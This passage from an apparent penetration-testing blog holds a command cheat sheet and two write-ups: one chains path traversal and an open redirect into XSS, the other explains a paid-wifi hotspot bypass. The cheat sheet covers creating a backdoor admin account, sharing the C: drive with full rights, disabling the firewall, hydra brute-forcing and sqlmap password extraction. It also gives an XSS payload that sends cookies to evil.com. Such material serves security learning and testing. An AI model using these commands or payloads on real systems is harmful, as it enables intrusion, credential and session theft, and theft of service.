<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the members of the Domain Admins group</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net group “Enterprise Admins” /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the members of the Enterprise Admins group</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net group “Domain Controllers” /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the list of Domain Controllers for the current domain</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net share</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Displays your currently shared SMB entries, and what path(s) they point to</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net session | find / “\\”</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><br /></td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">arp -a</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lists all the systems currently in the machine’s ARP table. </span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">route print</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">whoami</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="font-family: Arial;"><span style="line-height: 16.6666679382324px; white-space: pre-wrap;">View the current user</span></span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tasklist /v</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">List processes</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="font-family: Arial;"><span style="line-height: 19.1666679382324px; white-space: pre-wrap;">taskkill /F /IM "cmd.exe"</span></span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="font-family: Arial;"><span style="line-height: 16.6666679382324px; white-space: pre-wrap;">Kill a process by its name</span></span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net user hacker hacker /add</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 12px; line-height: 1.15; white-space: pre-wrap;">net localgroup administrators hacker /add</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Adds the new user ‘hacker’ to the local administrators group</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net share nothing$=C:\ /grant:hacker,FULL /unlimited</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive.</span></div>
<br />
<div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net user username /active:yes /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">netsh firewall set opmode disable</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Disables the local windows firewall</span></div>
</td></tr>
</tbody></table>
</div>
<br />
wmic useraccount get name,sid - Retrieve name and sid from command line.<br />
<br /></div>
<b><br /></b>
<b>LINUX COMMANDS</b><br />
<style type="text/css">
.tftable {font-size:12px;color:#333333;width:80%;border-width: 1px;border-color: #729ea5;border-collapse: collapse;}
.tftable th {font-size:12px;background-color:#acc8cc;border-width: 1px;padding: 8px;border-style: solid;border-color: #729ea5;text-align:left;}
.tftable tr {background-color:#d4e3e5;}
.tftable td {font-size:12px;border-width: 1px;padding: 8px;border-style: solid;border-color: #729ea5;}
.tftable tr:hover {background-color:#ffffff;}
</style>
<br />
<table border="1" class="tftable">
<tbody>
<tr><th>Command</th><th>Description</th></tr>
<tr><td>apt-get install finger rsh-client jxplorer sipcalc</td><td>Finger not installed in Kali by default</td></tr>
<tr><td>apt-get install rsh-client</td><td>R-tools not installed in Kali by default</td></tr>
<tr><td>uname -a</td><td>Kernel version</td></tr>
<tr><td>cat /etc/<distro>-release</td><td>Release version</td></tr>
<tr><td>showrev -p</td><td>Revision</td></tr>
<tr><td>rlogin -l <user> <target></td><td>rlogin</td></tr>
<tr><td>rsh <target> <command></td><td>rsh</td></tr>
<tr><td>find / -perm +6000 -type f -exec ls -ld {} \; > setuid.txt &</td><td>Find setuid binaries</td></tr>
<tr><td>finger <username>@<ip></td><td>Retrieve user info</td></tr>
<tr><td>mysql -h <ip> -u <user> -p <password></td><td>Connect to mysql</td></tr>
<tr><td>oscanner -s <ip> -r <repfile></td><td>Oracle scanner</td></tr>
</tbody></table>
<br />
<br />
<b>PASSWORD GUESSING</b><br />
<br />
<table border="1" class="tftable">
<tbody>
<tr><th>Command</th><th>Description</th></tr>
<tr><td>hydra -L users -P passwords -M 21.txt ftp</td><td>Brute ftp</td></tr>
<tr><td>hydra -L users -P passwords -M 22.txt ssh</td><td>Brute ssh</td></tr>
<tr><td>hydra -L users -P passwords -M 445.txt smb</td><td>Brute smb</td></tr>
</tbody></table>
<br />
<table border="1" class="tftable">
<tbody>
<tr><th>User List</th></tr>
<tr><td>root</td></tr>
<tr><td>admin</td></tr>
<tr><td>administrator</td></tr>
<tr><td>manager</td></tr>
<tr><td>crest</td></tr>
<tr><td>crt</td></tr>
<tr><td>user</td></tr>
</tbody></table>
<br />
<b><br /></b>
<b>PASSWORD CRACKING</b><br />
<br />
<table border="1" class="tftable">
<tbody>
<tr><th>Command</th><th>Description</th></tr>
<tr><td>john --wordlist=/usr/share/wordlists/rockyou.txt hashes</td><td>JTR default</td></tr>
</tbody></table>
<br />
<br />
<b>WEB APP</b><br />
<br />
<table border="1" class="tftable">
<tbody>
<tr><th>Command</th><th>Description</th></tr>
<tr><td>document.write('<img src="http://evil.com/x.gif?cookie=' + document.cookie + '" />)</td><td>XSS steal cookie</td></tr>
<tr><td>sqlmap -u <target> -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/test.php"</td><td>Targeted scan</td></tr>
<tr><td>sqlmap -u http://example.com --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3</td><td>Automated scan</td></tr>
</tbody></table>
<br /></div>
</div>
Unknownnoreply@blogger.com34tag:blogger.com,1999:blog-6613536328909163975.post-6161128675028445552014-11-26T08:06:00.000+00:002014-11-26T08:06:10.539+00:00Traversal to Redirect to Remote JS XSSI recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.<br />
<br />
<br />
<span style="font-size: large;"><b>The Code</b></span><br />
<br />
The vulnerable page was loaded with a URL something like this:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://app.test.com/timezone?c=test</pre>
And contained Javascript looking something like this:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);</pre>
<br />
Can you spot how to exploit it? :)<br />
<br />
<div style="text-align: center;">
============================================</div>
<br />
In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".<br />
<br />
Once the above script runs you end up with something like:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><script src="/js/timezone-js/timezone-data[test].min.js"></script></pre>
So how can we exploit this?<br />
<br />
<br />
<span style="font-size: large;"><b>From Text to Traversal</b></span><br />
<br />
In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.<br />
<br />
We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?</pre>
<br />
But we still have no way to load our own JS...or do we?<br />
<br />
<br />
<b><span style="font-size: large;">From Traversal to Dead End?</span></b><br />
<br />
The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.<br />
<br />
For example:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://app.test.com/timezone?c=/../../../../uploads/file?</pre>
Unfortunately I couldn't find such a place....but I did have an <b>open redirection</b> I could play with.<br />
<br />
<br />
<b><span style="font-size: large;">From Redirection to JS</span></b><br />
<br />
The open redirection was pretty standard something like:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://app.test.com/accounts/logout/?next=https://badguy.com</pre>
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.<br />
<br />
Combining the traversal and redirection the complete attack URL was:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?</pre>
<br />
Which would cause the in-page JS to create a script tag that would load our malicious remote JS:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuemk9u8P7VwcdGjMPncGscek1C1f4-L8eyTYRxlUOJ_QLThre-rit4lc4BqFqZ52XJIDlET8DQCvPbuXgtU4EJ69IGCirGTu9J2-5dVKyiHyVJVKnz9dv57hyxZlB-bX-M6GMwG8UFmD4/s1600/blog.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuemk9u8P7VwcdGjMPncGscek1C1f4-L8eyTYRxlUOJ_QLThre-rit4lc4BqFqZ52XJIDlET8DQCvPbuXgtU4EJ69IGCirGTu9J2-5dVKyiHyVJVKnz9dv57hyxZlB-bX-M6GMwG8UFmD4/s1600/blog.png" /></a></div>
<br />
Congratulations you've achieved XSS by loading remote JS from traversal and redirection!<br />
<br />
<br />
<span style="font-size: large;"><b>The Fix</b></span><br />
<br />
I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">country = country.replace(/[^\w\-]/g, '');</pre>
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)<br />
<br />
If you have any questions or feedback just drop me a comment below. Pwndizzle out.<br />
<br />Unknownnoreply@blogger.com161tag:blogger.com,1999:blog-6613536328909163975.post-75483347084608829352014-10-22T08:02:00.001+01:002014-10-22T08:02:58.265+01:00Boingo Hotspot Bypass AnalysisIn this post I'll take a look at what seems to be a bypass vulnerability in the current version of Boingo hotspot that allows anyone to access free wifi.<br />
<br />
<br />
<b><span style="font-size: large;">Boing-what-go?</span></b><br />
<br />
While waiting for my plane at JFK airport I thought I'd check for free wifi, scanning the local area I saw an AP called "Boingo hotspot" and decided to give it a go.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuA3fbSK0-ielNYLx02i0KydZwskGoPbtDiibkihCjhh5X5De1o0b_gf3kv-mJLEd5GFVs1jT2gZywknqw0ESJ5zQ-ZKYSmREKVaHwhMezRP3TWKnsBujiXSJ5Spth2Re8ViLvMEP7aV6J/s1600/networks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuA3fbSK0-ielNYLx02i0KydZwskGoPbtDiibkihCjhh5X5De1o0b_gf3kv-mJLEd5GFVs1jT2gZywknqw0ESJ5zQ-ZKYSmREKVaHwhMezRP3TWKnsBujiXSJ5Spth2Re8ViLvMEP7aV6J/s1600/networks.png" height="191" width="200" /></a></div>
<br />
However after connecting to the access point I found out Boingo was a pay only wifi service and all my requests were being redirected to the Boingo site.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi0mTPYHJjFyklT49TiK5LkjulNNXkcJDDDl7xaJl94IWElZrdGM7jxFrQj4jeIE529h-f0hoHoZFkNcWX7akxbCaUmVIWkjfYtauPVMSZp3vsyWgOr5OXd5gqrAqTDx5UO4xnfjXY1YVm/s1600/mainsite.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi0mTPYHJjFyklT49TiK5LkjulNNXkcJDDDl7xaJl94IWElZrdGM7jxFrQj4jeIE529h-f0hoHoZFkNcWX7akxbCaUmVIWkjfYtauPVMSZp3vsyWgOr5OXd5gqrAqTDx5UO4xnfjXY1YVm/s1600/mainsite.png" height="222" width="400" /></a></div>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://www.boingohotspot.net/ResponsivePreroll.aspx?lang=en&SCC=CCGJFK001
</pre>
<br />
Looking over the site I came across the "Good Stuff" feature which appeared to allow access to a small number of <b>whitelisted</b> sites for free. However after visiting one of the Good Stuff links I somehow gained full <b>unrestricted</b> internet access...<br />
<br />
Googling this feature it turns out the flaw had <a href="http://digiwonk.wonderhowto.com/how-to/weakness-boingo-hotspots-can-be-exploited-for-free-wi-fi-access-airports-0155988/">already</a> been discovered and publicly disclosed. No where however explained how the flaw worked. Lets take a look.<br />
<br />
<br />
<b><span style="font-size: large;">Secret to the Good Stuff</span></b><br />
<br />
The Good Stuff feature, in theory, provides access to a small selection of whitelisted sites. For example:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK6ZdtJMRwiTSFE_p_O8MMr_RGlvy8bFdY1bGGVA8DZ_VTal85tLt7v2AEnD0pPOVPxCjNr9CAKHcZAXrsJfSvcA_FOxPbNbnM0XZAOrIe7dt9anyJZ9fnrV4_15VBLhHdWyGFts7WR7N5/s1600/goodstuff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK6ZdtJMRwiTSFE_p_O8MMr_RGlvy8bFdY1bGGVA8DZ_VTal85tLt7v2AEnD0pPOVPxCjNr9CAKHcZAXrsJfSvcA_FOxPbNbnM0XZAOrIe7dt9anyJZ9fnrV4_15VBLhHdWyGFts7WR7N5/s1600/goodstuff.png" height="243" width="400" /></a></div>
<br />
Behind each of those buttons is an interesting looking link, something like this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://www.boingohotspot.net/ClickCapture.aspx?linkID=BoingoSponsorship&promoId=BIP000000000108&promocode=JFKTheGoodStuff&redirectURL=http://www.imdb.com/
</pre>
<br />
It turns out the promoId/promocode function as a kind of username/password and once the link is clicked an authentication process is kicked off. Roughly something like this:<br />
<br />
<b>1.</b> After clicking the link the server will return a sessionID ("s"), which is then sent with the promoid/promocode to retrieve temporary credentials.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://www.boingohotspot.net/SponsorInternalBoingoRadius.aspx?campaignType=0&s=bnagn1j42rohtxvlzqhq1qgg&promoId=BIP000000000108&promocode=JFKTheGoodStuff
</pre>
<br />
<b>2.</b> The temporary username and password received are then submitted to login.aspx in a POST request. Notice that the temporary username includes my MAC address, promocode, airport, terminal and a suspicious password-like string "bwpromo!1".<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">username=boingo/bwpromo!1|C01885DBFED1|0|0|0|Promo|0|BIP000000000108|jfk|term7|0|1412015104&password=ee0472ab2c647b2f77322257642b876bc346a3eb4dcaeef52a792f15fff6241c&domain=&dst=https://www.boingohotspot.net/
</pre>
<br />
<b>3.</b> Once the login request completes, your ip should have been added to the allowed list and you can now browse the full internet!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj93EX2_y49xKs1z9wFwHqCeauycSU5hxkjGw6rcEFTz2z5wn823FRRVyW87m_rwrCRwX-9WVmocWDvXnm7AQo2lb4UaYq0M5NK3wyfITqX-a1leKZ0YxNKjgKr99r78tmeN3-cOns1z7nh/s1600/welcome.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj93EX2_y49xKs1z9wFwHqCeauycSU5hxkjGw6rcEFTz2z5wn823FRRVyW87m_rwrCRwX-9WVmocWDvXnm7AQo2lb4UaYq0M5NK3wyfITqX-a1leKZ0YxNKjgKr99r78tmeN3-cOns1z7nh/s1600/welcome.png" height="158" width="400" /></a></div>
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://www.boingohotspot.net/welcome.aspx?username=boingo/bwpromo!1|C01885DBFED1|0|0|0|Promo|0|BIP000000000108|jfk|term7|0|1412015104&logoutURL=http://jfk-t7.boingohotspot.net/logout</pre>
<br />
<br />
<b><span style="font-size: large;">What the heck is going on?</span></b><br />
<br />
The main issue is that whitelist restrictions for "Good Stuff" users are simply not enforced. There should be some server-side mechanism that is monitoring and filtering http requests to only allow content from whitelisted sites, this seems to be missing or at least was not enabled.<br />
<br />
Also I'm not too sure why they included an authentication process for the free content. For paying customers authentication makes sense but for free content it shouldn't be needed. Tracking users is one possibility but this could have been done with cookies, headers or POST requests.<br />
<br />
<br />
<b><span style="font-size: large;">Final thoughts</span></b><br />
<br />
With only an hour to spare before my flight it was a shame I didn't have longer to play with the Boingo hotspot. When you come across issues as bizarre as this you just know there are more security holes just lurking below the surface :)<br />
<br />
Thanks for reading, feedback and questions are welcome, just drop me a comment below.Unknownnoreply@blogger.com70tag:blogger.com,1999:blog-6613536328909163975.post-17570609807320549032014-09-10T17:48:00.000+01:002014-09-10T18:24:03.079+01:00Building a Cloud Botnet on Parse.comToday I'm going to talk about Parse.com and a trial account feature that allowed me to build a cloud botnet.<br />
<br />
Parse is a cloud based app service that lets you deploy and run your app code in the cloud making building and maintaining apps easier. Facebook bought the company in 2013 and with it being eligible for the bounty program I thought I'd take a look for security issues.<br />
<br />
<br />
<span style="font-size: large;"><b>Want a free account?</b></span><br />
<br />
